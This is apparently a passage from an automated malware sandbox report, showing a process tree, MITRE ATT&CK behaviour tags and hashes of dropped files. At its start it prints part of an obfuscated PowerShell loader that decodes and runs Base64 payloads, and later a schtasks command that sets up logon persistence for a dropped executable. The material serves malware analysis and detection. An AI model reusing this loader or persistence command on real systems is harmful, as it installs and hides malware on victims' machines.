([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵PID:4044
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2456 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "sysvlrhp" /tr '"C:\Users\Admin\AppData\Roaming\sysvlrhp.exe"' & exit7⤵PID:4992
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C:\Windows\system32\schtasks.exeschtasks /create /f /sc onlogon /rl highest /tn "sysvlrhp" /tr '"C:\Users\Admin\AppData\Roaming\sysvlrhp.exe"'8⤵
- Scheduled Task/Job: Scheduled Task
PID:2552
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF618.tmp.bat""7⤵PID:3968
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C:\Windows\system32\timeout.exetimeout 38⤵
- Delays execution with timeout.exe
PID:1680
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C:\Users\Admin\AppData\Roaming\sysvlrhp.exe"C:\Users\Admin\AppData\Roaming\sysvlrhp.exe"8⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:4036
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵PID:3560
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
PID:5032
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:3636
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:1524
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
PID:1180
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵PID:3624
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc1⤵PID:2056
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
PID:3168
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
3KB
MD5661739d384d9dfd807a089721202900b
SHA15b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA25670c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA51281b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
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Filesize
2KB
MD5839333f6c71952539ef1bd67a8c15713
SHA13bcaa6f31fcf023427b7dea796db879d1331779e
SHA256f448c09a597dde389ea1bc7dfae98555c927018ff4086d58bc727f656f2016b4
SHA512c7fe2bf4596477819d0fbb6fd986dca95b3f9c4c04491b9c824a88072a0fd43a47099c6b17883a09cabf0b027c210ae2821d7d9917d07a0da1ee74233f04a6f0
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Filesize
2KB
MD5005bc2ef5a9d890fb2297be6a36f01c2
SHA10c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
152B
MD5a8c53510af81b5f9404b49c67aaeb7ba
SHA120be6f6ff69c788e5f98427437ee821400744627
SHA256921f9447f7084426b73fbd5f10f6709aa16e49c3115a36ebe533cb59aa997c71
SHA5128c2778318d41c7caaada63b104b63cae9507621f07bd90b8355bf735911cfe1cd4b8e854d68d74823793dcbcb9538cd2e62366d0960fddfec9e40b974eb132e7
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Filesize
395KB
MD5003edf4319e31d48f44daee2df888005
SHA1bcd6f33116f746a10185af4d17cbf0357c11657b
SHA25660193565df3a7afe6f4bf343da48595a20bc8afed9d60f890b6a2d1c1ce8b65f
SHA5121e961d0bec6b7368d6f6732ca854c995f3caedd3e87fe3a809f5b263d866adc6146295e60fdb0216257b709ace3836241210617d6060cf8b56e74a9d5e52785e
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Filesize
124B
MD54c8bb5f1ee22824e6d4eec1ceb093b74
SHA160136ad6dc8e2668dac97fd36b48936ea9985c6d
SHA256f72e10b9e4782f44322f5bfc6c9101d6099c4c4a8eb07993a3e6712f7768e92f
SHA512e8df08f78a430ad2f2b7238e9c86ae3af5912a5efba2f55940384c24366d0bcf520043f506c9ffa9955b94e519d0b3edba5827ff37712f5e8b62b57062a2ba4e
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Filesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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Filesize
2KB
MD58abf2d6067c6f3191a015f84aa9b6efe
SHA198f2b0a5cdb13cd3d82dc17bd43741bf0b3496f7
SHA256ee18bd3259f220c41062abcbe71a421da3e910df11b9f86308a16cdc3a66fbea
SHA512c2d686a6373efcff583c1ef50c144c59addb8b9c4857ccd8565cd8be3c94b0ac0273945167eb04ebd40dfb0351e4b66cffe4c4e478fb7733714630a11f765b63
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Filesize
2KB
MD5f313c5b4f95605026428425586317353
SHA106be66fa06e1cffc54459c38d3d258f46669d01a
SHA256129d0b993cd3858af5b7e87fdf74d8e59e6f2110184b5c905df8f5f6f2c39d8b
SHA512b87a829c86eff1d10e1590b18a9909f05101a535e5f4cef914a4192956eb35a8bfef614c9f95d53783d77571687f3eb3c4e8ee2f24d23ad24e0976d8266b8890
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Filesize
2KB
MD5ceb7caa4e9c4b8d760dbf7e9e5ca44c5
SHA1a3879621f9493414d497ea6d70fbf17e283d5c08
SHA25698c054088df4957e8d6361fd2539c219bcf35f8a524aad8f5d1a95f218e990e9
SHA5121eddfbf4cb62d3c5b4755a371316304aaeabb00f01bad03fb4f925a98a2f0824f613537d86deddd648a74d694dc13ed5183e761fdc1ec92589f6fa28beb7fbff
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Filesize
2KB
MD57d612892b20e70250dbd00d0cdd4f09b
SHA163251cfa4e5d6cbf6fb14f6d8a7407dbe763d3f5
SHA256727c9e7b91e144e453d5b32e18f12508ee84dabe71bc852941d9c9b4923f9e02
SHA512f8d481f3300947d49ce5ab988a9d4e3154746afccc97081cbed1135ffb24fc107203d485dda2d5d714e74e752c614d8cfd16781ea93450fe782ffae3f77066d1
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Filesize
2KB
MD51e8e2076314d54dd72e7ee09ff8a52ab
SHA15fd0a67671430f66237f483eef39ff599b892272
SHA25655f203d6b40a39a6beba9dd3a2cb9034284f49578009835dd4f0f8e1db6ebe2f
SHA5125b0c97284923c4619d9c00cba20ce1c6d65d1826abe664c390b04283f7a663256b4a6efe51f794cb5ec82ccea80307729addde841469da8d041cbcfd94feb0f6
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Filesize
2KB
MD50b990e24f1e839462c0ac35fef1d119e
SHA19e17905f8f68f9ce0a2024d57b537aa8b39c6708
SHA256a1106ed0845cd438e074344e0fe296dc10ee121a0179e09398eaaea2357c614a
SHA512c65ba42fc0a2cb0b70888beb8ca334f7d5a8eaf954a5ef7adaecbcb4ce8d61b34858dfd9560954f95f59b4d8110a79ceaa39088b6a0caf8b42ceda41b46ec4a4